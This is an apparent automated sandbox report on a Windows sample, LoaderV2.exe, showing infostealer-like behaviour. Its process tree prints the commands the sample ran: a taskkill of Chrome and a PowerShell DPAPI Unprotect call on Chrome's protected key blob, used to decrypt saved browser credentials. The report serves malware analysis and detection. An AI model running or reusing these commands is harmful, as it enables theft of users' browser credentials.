Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/11/2024, 00:12

General

  • Target
    LoaderV2.exe
  • Size 35.1MB
  • Sample241109-ag6basvrgl
  • SHA256 167b1999ee89eed093850069f77a205284a00c4d7b8f10b59026da8b676ac92e
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\LoaderV2.exe
    "C:\Users\Admin\AppData\Local\Temp\LoaderV2.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:5076
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3548
      • C:\Windows\system32\taskkill.exe
        taskkill /F /IM chrome.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1928
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,200,142,98,145,245,13,212,72,177,80,67,154,95,47,90,61,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,213,125,110,244,69,245,71,67,153,184,126,27,228,74,237,120,195,215,220,32,167,162,36,236,99,216,60,74,175,131,142,125,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,190,127,119,186,6,50,30,147,42,190,15,95,211,177,182,171,12,5,220,117,181,251,114,131,236,149,72,206,251,11,168,179,48,0,0,0,118,56,37,119,138,43,72,88,85,53,203,149,89,190,9,117,238,213,235,41,188,60,18,54,34,176,215,156,138,32,40,73,63,25,20,181,40,222,197,153,137,197,29,52,49,88,1,252,64,0,0,0,225,177,217,51,89,163,249,80,243,40,32,157,73,71,253,176,116,128,88,144,119,4,159,242,126,59,235,45,30,88,80,65,230,248,38,239,101,87,222,88,108,146,15,159,249,121,192,239,168,68,48,162,164,69,100,129,117,63,157,194,82,89,148,181), $null, 'CurrentUser')"
      2⤵
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:4324
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,200,142,98,145,245,13,212,72,177,80,67,154,95,47,90,61,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,213,125,110,244,69,245,71,67,153,184,126,27,228,74,237,120,195,215,220,32,167,162,36,236,99,216,60,74,175,131,142,125,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,190,127,119,186,6,50,30,147,42,190,15,95,211,177,182,171,12,5,220,117,181,251,114,131,236,149,72,206,251,11,168,179,48,0,0,0,118,56,37,119,138,43,72,88,85,53,203,149,89,190,9,117,238,213,235,41,188,60,18,54,34,176,215,156,138,32,40,73,63,25,20,181,40,222,197,153,137,197,29,52,49,88,1,252,64,0,0,0,225,177,217,51,89,163,249,80,243,40,32,157,73,71,253,176,116,128,88,144,119,4,159,242,126,59,235,45,30,88,80,65,230,248,38,239,101,87,222,88,108,146,15,159,249,121,192,239,168,68,48,162,164,69,100,129,117,63,157,194,82,89,148,181), $null, 'CurrentUser')
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:712

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        __PSScriptPolicyTest_pgtctlgx.izt.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pgtctlgx.izt.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        node_sqlite3.node

        • Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\Release\node_sqlite3.node
        • Size 1.8MB
        • SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
        • MD5 SHA1 SHA512 SSDEEP

        memory/712-72-0x00007FF8196C3000-0x00007FF8196C5000-memory.dmp

        memory/712-78-0x0000023C1EFC0000-0x0000023C1EFE2000-memory.dmp

        memory/712-83-0x00007FF8196C0000-0x00007FF81A181000-memory.dmp

        memory/712-84-0x00007FF8196C0000-0x00007FF81A181000-memory.dmp

        memory/712-85-0x0000023C213E0000-0x0000023C21430000-memory.dmp

        memory/712-89-0x00007FF8196C0000-0x00007FF81A181000-memory.dmp